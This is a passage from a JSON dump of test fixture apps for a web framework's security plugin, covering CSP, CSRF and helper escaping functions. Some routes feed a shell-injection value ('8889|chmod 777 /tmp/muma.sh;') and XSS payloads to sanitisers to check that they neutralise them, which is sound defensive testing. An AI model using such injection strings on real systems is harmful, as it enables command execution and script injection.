    "content": "exports.keys = 'test key';\n\nexports.security = {\n  defaultMiddleware: 'csp',\n  csp: {\n    enable: true,\n    ignore: ['/api/', /^\\/ignore\\//],\n    policy: {\n      'script-src': [\"'self'\", \"'unsafe-inline'\", \"'unsafe-eval'\", 'www.google-analytics.com'],\n      'style-src': [\"'unsafe-inline'\", 'www.google-analytics.com'],\n      'img-src': [\"'self'\", 'data:', 'www.google-analytics.com'],\n      'frame-ancestors': [\"'self'\"],\n      'report-uri': 'http://pointman.domain.com/csp?app=csp',\n    },\n  },\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/csp-ignore/package.json",
    "content": "{\n  \"name\": \"csp\"\n}\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/csp-reportonly/app/router.js",
    "content": "module.exports = function (app) {\n  app.get('/testcsp', function () {\n    this.body = this.nonce;\n  });\n  app.get('/testcsp2', function () {\n    this.body = this.nonce;\n  });\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/csp-reportonly/config/config.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n\nexports.security = {\n  defaultMiddleware: 'csp',\n  csp: {\n    enable: true,\n    reportOnly: true,\n    supportIE: true,\n    policy: {\n      'script-src': [\"'self'\", \"'unsafe-inline'\", \"'unsafe-eval'\", '.domain.com', 'www.google-analytics.com'],\n      'style-src': [\"'unsafe-inline'\", '.domain.com'],\n      'img-src': [\"'self'\", 'data:', '.domain.com', 'www.google-analytics.com'],\n      'frame-ancestors': [\"'self'\"],\n      'report-uri': 'http://pointman.domain.com/csp?app=csp',\n    },\n  },\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/csp-reportonly/package.json",
    "content": "{\n  \"name\": \"csp\"\n}\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/csp-supportie/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/testcsp', async function () {\n    this.body = this.nonce;\n  });\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/csp-supportie/config/config.js",
    "content": "exports.keys = 'test key';\n\nexports.security = {\n  defaultMiddleware: 'csp',\n  csp: {\n    enable: true,\n    supportIE: true,\n    policy: {\n      'script-src': [\"'self'\", \"'unsafe-inline'\", \"'unsafe-eval'\", '.domain.com', 'www.google-analytics.com'],\n      'style-src': [\"'unsafe-inline'\", '.domain.com'],\n      'img-src': [\"'self'\", 'data:', '.domain.com', 'www.google-analytics.com'],\n      'frame-ancestors': [\"'self'\"],\n      'report-uri': 'http://pointman.domain.com/csp?app=csp',\n    },\n  },\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/csp-supportie/package.json",
    "content": "{\n  \"name\": \"csp\"\n}\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/csrf/app/controller/home.js",
    "content": "exports.index = async function () {\n  this.body = this.csrf;\n};\n\nexports.rotate = async function () {\n  this.rotateCsrfSecret();\n  this.body = this.csrf;\n};\n\nexports.update = async function () {\n  this.session.body = this.request.body;\n  this.body = this.request.body;\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/csrf/app/router.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  app.get('/', app.controller.home.index);\n  app.get('/rotate', app.controller.home.rotate);\n  app.get('/api/rotate', app.controller.home.rotate);\n  app.post('/update', app.controller.home.update);\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/csrf/config/config.js",
    "content": "exports.keys = 'test key';\n\nexports.security = {\n  /**\n   * disable methodnoallow\n   */\n  methodnoallow: {\n    enable: false,\n  },\n\n  csrf: {\n    ignore: [/^\\/api\\//, (ctx) => !!ctx.get('ignore-csrf')],\n  },\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/csrf/package.json",
    "content": "{\n  \"name\": \"csrf\"\n}\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/csrf-cookieOptions/app/controller/home.js",
    "content": "module.exports = (app) => {\n  return class Home extends app.Controller {\n    async index() {\n      this.ctx.body = 'hello csrfToken cookieOptions';\n    }\n  };\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/csrf-cookieOptions/app/router.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.get('/hello', 'home.index');\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/csrf-cookieOptions/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = 'cookie options';\n\nexports.security = {\n  csrf: {\n    cookieOptions: {\n      httpOnly: true,\n    },\n  },\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/csrf-cookieOptions/package.json",
    "content": "{\n  \"name\": \"csrf-cookieOptions\"\n}\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/csrf-cookieOptions-signed/app/controller/home.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  return class Home extends app.Controller {\n    async index() {\n      this.ctx.body = 'hello csrfToken cookieOptions signed';\n    }\n  };\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/csrf-cookieOptions-signed/app/router.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.get('/hello', 'home.index');\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/csrf-cookieOptions-signed/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = 'cookie options';\n\nexports.security = {\n  csrf: {\n    cookieOptions: {\n      signed: true,\n    },\n  },\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/csrf-cookieOptions-signed/package.json",
    "content": "{\n  \"name\": \"csrf-cookieOptions-signed\"\n}\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/csrf-empty-referer/app/controller/home.js",
    "content": "exports.index = async function () {\n  this.body = this.csrf;\n};\n\nexports.rotate = async function () {\n  this.rotateCsrfSecret();\n  this.body = this.csrf;\n};\n\nexports.update = async function () {\n  this.session.body = this.request.body;\n  this.body = this.request.body;\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/csrf-empty-referer/app/router.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  app.get('/', app.controller.home.index);\n  app.get('/rotate', app.controller.home.rotate);\n  app.get('/api/rotate', app.controller.home.rotate);\n  app.post('/update', app.controller.home.update);\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/csrf-empty-referer/config/config.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n\nexports.security = {\n  /**\n   * disable methodnoallow\n   */\n  methodnoallow: {\n    enable: false,\n  },\n\n  csrf: {\n    type: 'referer',\n    refererWhiteList: [],\n  },\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/csrf-empty-referer/package.json",
    "content": "{\n  \"name\": \"csrf-empty-referer\"\n}\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/csrf-enable-false/app/controller/home.js",
    "content": "exports.index = async function () {\n  this.body = this.csrf;\n};\n\nexports.rotate = async function () {\n  this.rotateCsrfSecret();\n  this.body = this.csrf;\n};\n\nexports.update = async function () {\n  this.session.body = this.request.body;\n  this.body = this.request.body;\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/csrf-enable-false/app/router.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  app.get('/', app.controller.home.index);\n  app.get('/rotate', app.controller.home.rotate);\n  app.get('/api/rotate', app.controller.home.rotate);\n  app.post('/update', app.controller.home.update);\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/csrf-enable-false/config/config.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n\nexports.security = {\n  /**\n   * disable methodnoallow\n   */\n  methodnoallow: {\n    enable: false,\n  },\n\n  csrf: {\n    enable: false,\n  },\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/csrf-enable-false/package.json",
    "content": "{\n  \"name\": \"csrf-enable-false\"\n}\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/csrf-error-type/app/controller/home.js",
    "content": "exports.index = async function () {\n  this.body = this.csrf;\n};\n\nexports.rotate = async function () {\n  this.rotateCsrfSecret();\n  this.body = this.csrf;\n};\n\nexports.update = async function () {\n  this.session.body = this.request.body;\n  this.body = this.request.body;\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/csrf-error-type/app/router.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  app.get('/', app.controller.home.index);\n  app.get('/rotate', app.controller.home.rotate);\n  app.get('/api/rotate', app.controller.home.rotate);\n  app.post('/update', app.controller.home.update);\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/csrf-error-type/config/config.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n\nexports.security = {\n  /**\n   * disable methodnoallow\n   */\n  methodnoallow: {\n    enable: false,\n  },\n\n  csrf: {\n    type: 'test',\n  },\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/csrf-error-type/package.json",
    "content": "{\n  \"name\": \"csrf-error-type\"\n}\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/csrf-ignorejson/config/config.default.js",
    "content": "'use strict';\n\nexports.security = {\n  csrf: {\n    ignoreJSON: true,\n  },\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/csrf-ignorejson/package.json",
    "content": "{\n  \"name\": \"csrf-ignorejson\"\n}\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/csrf-multiple/app/controller/home.js",
    "content": "exports.index = async function () {\n  this.body = this.csrf;\n};\n\nexports.rotate = async function () {\n  this.ensureCsrfSecret(true);\n  this.body = this.csrf;\n};\n\nexports.update = async function () {\n  this.session.body = this.request.body;\n  this.body = this.request.body;\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/csrf-multiple/app/router.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  app.get('/', app.controller.home.index);\n  app.get('/rotate', app.controller.home.rotate);\n  app.post('/update', app.controller.home.update);\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/csrf-multiple/config/config.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n\nexports.security = {\n  /**\n   * 禁用methodnoallow，对OPTIONS放行\n   */\n  methodnoallow: {\n    enable: false,\n  },\n\n  csrf: {\n    ignore: /^\\/api\\//,\n    queryName: ['_csrf', '_csgo'],\n    bodyName: ['_csrf', '_csgo'],\n    cookieName: ['ctoken', 'csrfToken'],\n  },\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/csrf-multiple/package.json",
    "content": "{\n  \"name\": \"csrf\"\n}\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/csrf-session-disable/config/config.default.js",
    "content": "'use strict';\n\nexports.security = {\n  csrf: {\n    enable: true,\n    useSession: true,\n  },\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/csrf-session-disable/config/plugin.js",
    "content": "'use strict';\n\nexports.session = false;\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/csrf-session-disable/package.json",
    "content": "{\n  \"name\": \"csrf-session-disable\"\n}\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/csrf-string-cookiedomain/app/controller/home.js",
    "content": "module.exports = (app) => {\n  return class Home extends app.Controller {\n    async index() {\n      this.ctx.body = 'hello csrfToken';\n    }\n  };\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/csrf-string-cookiedomain/app/router.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.get('/hello', 'home.index');\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/csrf-string-cookiedomain/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = '123123';\n\nexports.security = {\n  csrf: {\n    cookieDomain: '.string.com',\n  },\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/csrf-string-cookiedomain/package.json",
    "content": "{\n  \"name\": \"csrf-string-cookiedomain\"\n}\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/csrf-supported-override-default/app/controller/home.js",
    "content": "exports.index = async function () {\n  this.body = this.csrf;\n};\n\nexports.rotate = async function () {\n  this.rotateCsrfSecret();\n  this.body = this.csrf;\n};\n\nexports.update = async function () {\n  this.session.body = this.request.body;\n  this.body = this.request.body;\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/csrf-supported-override-default/app/router.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  app.get('/', app.controller.home.index);\n  app.post('/', app.controller.home.index);\n  app.get('/rotate', app.controller.home.rotate);\n  app.get('/api/rotate', app.controller.home.rotate);\n  app.post('/update', app.controller.home.update);\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/csrf-supported-override-default/config/config.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n\nexports.security = {\n  csrf: {\n    supportedRequests: [\n      { path: /^\\/api\\/foo/, methods: ['PUT'] },\n      { path: /^\\/api\\//, methods: ['POST', 'PUT'] },\n    ],\n  },\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/csrf-supported-override-default/package.json",
    "content": "{\n  \"name\": \"csrf\"\n}\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/csrf-supported-requests/app/controller/home.js",
    "content": "exports.index = async function () {\n  this.body = this.csrf;\n};\n\nexports.rotate = async function () {\n  this.rotateCsrfSecret();\n  this.body = this.csrf;\n};\n\nexports.update = async function () {\n  this.session.body = this.request.body;\n  this.body = this.request.body;\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/csrf-supported-requests/app/router.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  app.get('/', app.controller.home.index);\n  app.post('/', app.controller.home.index);\n  app.get('/rotate', app.controller.home.rotate);\n  app.get('/api/rotate', app.controller.home.rotate);\n  app.post('/update', app.controller.home.update);\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/csrf-supported-requests/config/config.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n\nexports.security = {\n  /**\n   * disable methodnoallow\n   */\n  methodnoallow: {\n    enable: false,\n  },\n\n  csrf: {\n    supportedRequests: [\n      { path: /^\\/update/, methods: ['POST'] },\n      { path: /^\\/api\\//, methods: ['GET'] },\n      { path: /^\\//, methods: ['PATCH', 'DELETE', 'PUT'] },\n    ],\n  },\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/csrf-supported-requests/package.json",
    "content": "{\n  \"name\": \"csrf\"\n}\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/csrf-supported-requests-default-config/app/controller/home.js",
    "content": "exports.index = (ctx) => {\n  ctx.body = {\n    csrf: ctx.csrf,\n    env: ctx.app.config.env,\n    supportedRequestsMethods: ctx.app.config.security.csrf.supportedRequests[0].methods,\n  };\n};\n\nexports.update = (ctx) => {\n  ctx.session.body = ctx.request.body;\n  ctx.body = ctx.request.body;\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/csrf-supported-requests-default-config/app/router.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  app.get('/', app.controller.home.index);\n  app.post('/update', app.controller.home.update);\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/csrf-supported-requests-default-config/config/config.default.js",
    "content": "exports.keys = 'test key';\n\nexports.security = {\n  csrf: false,\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/csrf-supported-requests-default-config/package.json",
    "content": "{\n  \"name\": \"csrf\"\n}\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/ctoken/app/controller/home.js",
    "content": "module.exports = (app) => {\n  return class Home extends app.Controller {\n    async index() {\n      this.ctx.body = 'hello ctoken';\n    }\n  };\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/ctoken/app/router.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.get('/hello', 'home.index');\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/ctoken/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = '123123';\n\nexports.security = {\n  csrf: {\n    cookieName: 'ctoken',\n    cookieDomain(ctx) {\n      return '.' + ctx.hostname.split('.').slice(1).join('.');\n    },\n  },\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/ctoken/package.json",
    "content": "{\n  \"name\": \"ctoken-demo\"\n}\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/dta/app/router.js",
    "content": "module.exports = function (app) {\n  app.get('/test', function () {\n    this.body = 111;\n  });\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/dta/config/config.js",
    "content": "exports.keys = 'test key';\n\nexports.security = {\n  defaultMiddleware: 'dta',\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/dta/package.json",
    "content": "{\n  \"name\": \"dta\"\n}\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/helper-app/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/escape', async function () {\n    this.body = this.helper.escape('&\"\\'<>_-aA') === '&amp;&quot;&#39;&lt;&gt;_-aA';\n  });\n\n  app.get('/shtml-basic', async function () {\n    this.body =\n      this.helper.shtml('<img src=\"https://domain.com\"><h1>xx</h1>') == '<img src=\"https://domain.com\"><h1>xx</h1>';\n  });\n\n  app.get('/shtml-escape-tag-not-in-default-whitelist', async function () {\n    this.body = this.helper.shtml('<html><h1>Hello</h1></html>') == '&lt;html&gt;<h1>Hello</h1>&lt;/html&gt;';\n  });\n\n  app.get('/shtml-multiple-filter', async function () {\n    this.body =\n      this.helper.shtml(this.helper.shtml('<html><h1>Hello</h1></html>')) == '&lt;html&gt;<h1>Hello</h1>&lt;/html&gt;';\n  });\n\n  app.get('/shtml-escape-script', async function () {\n    this.body =\n      this.helper.shtml('<h1>Hello</h1><script>alert(1)</script>') ==\n      '<h1>Hello</h1>&lt;script&gt;alert(1)&lt;/script&gt;';\n  });\n\n  app.get('/shtml-escape-img-onload', async function () {\n    this.body =\n      this.helper.shtml('<h1>Hello</h1><img onload=\"alert(1);\" src=\"http://domain.com/1.png\" title=\"this is image\">') ==\n      '<h1>Hello</h1><img src=\"http://domain.com/1.png\" title=\"this is image\">';\n  });\n\n  app.get('/shtml-escape-hostname-null', async function () {\n    this.body = this.helper.shtml('<a href=\"javascript:;\">test</a>') == '<a href>test</a>';\n  });\n\n  app.get('/shtml-ignore-domains-not-in-default-domainList', async function () {\n    this.body =\n      this.helper.shtml('<img src=\"http://shaoshuai.me\" alt=\"alt\"><a href=\"http://shaoshuai.me\">xx</a>') ==\n      '<img alt=\"alt\"><a>xx</a>';\n  });\n\n  app.get('/shtml-absolute-path', async function () {\n    this.body =\n      this.helper.shtml('<img src=\"/xx.png\" alt=\"alt\"><a href=\"/xx.png\">xx</a>') ==\n      '<img src=\"/xx.png\" alt=\"alt\"><a href=\"/xx.png\">xx</a>';\n  });\n\n  app.get('/shtml-custom-via-security-options', async function () {\n    this.securityOptions.shtml = {\n      whiteList: {\n        video: ['src'],\n      },\n    };\n    this.body =\n      this.helper.shtml('<div src=\"xx\"></div><video src=\"/xxx\" style=\"xxx\"></video>') ===\n      '&lt;div src=\"xx\"&gt;&lt;/div&gt;<video src=\"/xxx\"></video>';\n  });\n\n  app.get('/sjs', async function () {\n    const foo = '\"hello\"';\n    this.body =\n      `var foo = \"${foo}\"; var foo = \"${this.helper.sjs(foo)}\";` ===\n      'var foo = \"\"hello\"\"; var foo = \"\\\\x22hello\\\\x22\";';\n  });\n\n  app.get('/sjs-2', async function () {\n    const foo = '\"hello\\'\\\\()<>.';\n    this.body = `${this.helper.sjs(foo)}` === '\\\\x22hello\\\\x27\\\\x5c\\\\x28\\\\x29\\\\x3c\\\\x3e\\\\x2e';\n  });\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/helper-app/app.js",
    "content": "const assert = require('assert');\n\nmodule.exports = class Boot {\n  constructor(app) {\n    this.app = app;\n  }\n\n  async willReady() {\n    const helper = this.app.createAnonymousContext().helper;\n    assert(!helper.surl('foo://foo/bar'));\n  }\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/helper-app/config/config.js",
    "content": "exports.keys = 'test key';\n\nexports.security = {\n  domainWhiteList: ['.domain.com'],\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/helper-app/config/plugin.js",
    "content": "// disable tegg plugins\n\nexports.teggEventbus = false;\nexports.tegg = false;\nexports.teggConfig = false;\nexports.teggController = false;\nexports.teggDal = false;\nexports.teggSchedule = false;\nexports.teggOrm = false;\nexports.teggAjv = false;\nexports.teggAop = false;\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/helper-app/package.json",
    "content": "{\n  \"name\": \"helper-app\"\n}\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/helper-app-surlextend/config/config.js",
    "content": "exports.keys = 'test key';\n\nexports.security = {\n  domainWhiteList: ['.domain.com'],\n  protocolWhiteList: ['test'],\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/helper-app-surlextend/package.json",
    "content": "{\n  \"name\": \"helper-app\"\n}\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/helper-cliFilter-app/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/cliFilter', async function () {\n    const port = '8889|chmod 777 /tmp/muma.sh;';\n    this.body =\n      `cp.exec('./start.sh '+${this.helper.cliFilter(port)})` === \"cp.exec('./start.sh '+8889chmod777tmpmuma.sh)\";\n  });\n\n  app.get('/cliFilter-2', async function () {\n    const port = '8889';\n    this.body = `${this.helper.cliFilter(port)}` === '8889';\n  });\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/helper-cliFilter-app/config/config.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/helper-cliFilter-app/package.json",
    "content": "{\n  \"name\": \"helper-sjs-app\"\n}\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/helper-config-app/app/router.js",
    "content": "module.exports = function (app) {\n  app.get('/shtml-configuration', async function () {\n    this.body =\n      this.helper.shtml(\n        '<h1>Hello</h1><img onload=\"alert(1);\" src=\"http://xx.com/1.png\" title=\"this is image\"><a title=\"xx\">aa</a>',\n      ) == '&lt;h1&gt;Hello&lt;/h1&gt;<img><a title=\"xx\">aa</a>';\n  });\n\n  app.get('/shtml-extending-domainList-via-config.helper.shtml.domainWhiteList', async function () {\n    this.body =\n      this.helper.shtml('<img src=\"http://xx.shaoshuai.me\" alt=\"alt\"><a href=\"http://xx.shaoshuai.me\">xx</a>') ==\n      '<img src=\"http://xx.shaoshuai.me\"><a>xx</a>';\n  });\n\n  app.get('/shtml-stripe-css-url', async function () {\n    this.body =\n      this.helper.shtml('<h2 style=\"color: red; background: url(javascript:);\">xx</h2>') == '<h2 style>xx</h2>';\n  });\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/helper-config-app/config/config.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n\nexports.helper = {\n  shtml: {\n    whiteList: {\n      a: ['title', 'src'],\n      img: ['src'],\n      h2: ['style'],\n    },\n    domainWhiteList: ['.shaoshuai.me'],\n  },\n};\nexports.security = {\n  domainWhiteList: ['.domain.com'],\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/helper-config-app/helper-app/app/router.js",
    "content": "module.exports = function (app) {\n  app.get('/shtml-basic', async function () {\n    this.body =\n      this.helper.shtml('<img src=\"https://domain.com\"><h1>xx</h1>') == '<img src=\"https://domain.com\"><h1>xx</h1>';\n  });\n\n  app.get('/shtml-escape-tag-not-in-default-whitelist', async function () {\n    this.body = this.helper.shtml('<html><h1>Hello</h1></html>') == '&lt;html&gt;<h1>Hello</h1>&lt;/html&gt;';\n  });\n\n  app.get('/shtml-multiple-filter', async function () {\n    this.body =\n      this.helper.shtml(this.helper.shtml('<html><h1>Hello</h1></html>')) == '&lt;html&gt;<h1>Hello</h1>&lt;/html&gt;';\n  });\n\n  app.get('/shtml-escape-script', async function () {\n    this.body =\n      this.helper.shtml('<h1>Hello</h1><script>alert(1)</script>') ==\n      '<h1>Hello</h1>&lt;script&gt;alert(1)&lt;/script&gt;';\n  });\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/helper-config-app/helper-app/package.json",
    "content": "{\n  \"name\": \"helper-app\"\n}\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/helper-config-app/package.json",
    "content": "{\n  \"name\": \"helper-config-app\"\n}\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/helper-escapeShellArg-app/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/escapeShellArg', async function () {\n    const port = '8889|chmod 777 /tmp/muma.sh;';\n    this.body =\n      `cp.exec('./start.sh '+${this.helper.escapeShellArg(port)})` ===\n      \"cp.exec('./start.sh '+'8889|chmod 777 /tmp/muma.sh;')\";\n  });\n\n  app.get('/escapeShellArg-2', async function () {\n    const port = \"8889'|chmod 777 /tmp/muma.sh;echo \\\\\";\n    this.body =\n      `cp.exec('./start.sh '+${this.helper.escapeShellArg(port)})` ===\n      \"cp.exec('./start.sh '+'8889\\\\'|chmod 777 /tmp/muma.sh;echo \\\\\\\\')\";\n  });\n\n  app.get('/escapeShellArg-3', async function () {\n    const port = '8889';\n    this.body = `${this.helper.escapeShellArg(port)}` === \"'8889'\";\n  });\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/helper-escapeShellArg-app/config/config.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/helper-escapeShellArg-app/package.json",
    "content": "{\n  \"name\": \"helper-sjs-app\"\n}\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/helper-escapeShellCmd-app/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/escapeShellCmd', async function () {\n    const port = '8889|chmod 777 /tmp/muma.sh;';\n    this.body =\n      `cp.exec('./start.sh '+${this.helper.escapeShellCmd(port)})` ===\n      \"cp.exec('./start.sh '+8889chmod 777 /tmp/muma.sh)\";\n  });\n\n  app.get('/escapeShellCmd-2', async function () {\n    const port = '-Pn -A -sT 8889';\n    this.body = `${this.helper.escapeShellCmd(port)}` === '-Pn -A -sT 8889';\n  });\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/helper-escapeShellCmd-app/config/config.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/helper-escapeShellCmd-app/package.json",
    "content": "{\n  \"name\": \"helper-sjs-app\"\n}\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/helper-link-app/app/router.js",
    "content": "module.exports = function (app) {\n  app.get('/shtml-ignore-hash', async function () {\n    this.body = this.helper.shtml('<a href=\"#abc\">xx</a>') == '<a href=\"#abc\">xx</a>';\n  });\n\n  app.get('/shtml-not-in-whitelist', async function () {\n    this.body = this.helper.shtml('<a href=\"http://www.baidu.com#abc\">xx</a>') == '<a href=\"\">xx</a>';\n  });\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/helper-link-app/config/config.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n\nexports.helper = {\n  shtml: {\n    whiteList: {\n      a: ['href'],\n    },\n    domainWhiteList: ['.shaoshuai.me'],\n  },\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/helper-link-app/package.json",
    "content": "{\n  \"name\": \"helper-link-app\"\n}\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/helper-sjs-app/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/sjs', async function () {\n    const foo = '\"hello\"123abc\"';\n    this.body =\n      `var foo = \"${foo}\"; var foo = \"${this.helper.sjs(foo)}\";` ===\n      'var foo = \"\"hello\"123abc\"\"; var foo = \"\\\\x22hello\\\\x22123abc\\\\x22\";';\n  });\n\n  app.get('/sjs-2', async function () {\n    let foo = '';\n    let res = '';\n\n    for (let i = 0, l = 128; i < l; i++) {\n      if ((i > 47 && i < 58) || (i > 64 && i < 91) || (i > 96 && i < 123)) {\n        foo += String.fromCharCode(i);\n        res += String.fromCharCode(i);\n      } else {\n      }\n    }\n\n    this.body = `${this.helper.sjs(foo)}` === res;\n  });\n\n  app.get('/sjs-3', async function () {\n    let foo = '';\n    let res = '';\n\n    for (let i = 0, l = 128; i < l; i++) {\n      if (i == 9 || i == 10 || i == 13 || (i > 47 && i < 58) || (i > 64 && i < 91) || (i > 96 && i < 123)) {\n      } else {\n        foo += String.fromCharCode(i);\n        res += '\\\\x' + i.toString(16);\n      }\n    }\n\n    this.body = `${this.helper.sjs(foo)}` === res;\n  });\n\n  app.get('/sjs-4', async function () {\n    const map = {\n      '\\t': '\\\\t',\n      '\\n': '\\\\n',\n      '\\r': '\\\\r',\n    };\n    let foo = '';\n    let res = '';\n\n    for (let i = 0, l = 128; i < l; i++) {\n      if (i == 9 || i == 10 || i == 13) {\n        foo += String.fromCharCode(i);\n        res += map[String.fromCharCode(i)];\n      }\n\n      if (i == 9 || i == 10 || i == 13 || (i > 47 && i < 58) || (i > 64 && i < 91) || (i > 96 && i < 123)) {\n      } else {\n        foo += String.fromCharCode(i);\n        res += '\\\\x' + i.toString(16);\n      }\n    }\n    this.body = `${this.helper.sjs(foo)}` === res;\n  });\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/helper-sjs-app/config/config.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/helper-sjs-app/package.json",
    "content": "{\n  \"name\": \"helper-sjs-app\"\n}\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/helper-sjson-app/app/router.js",
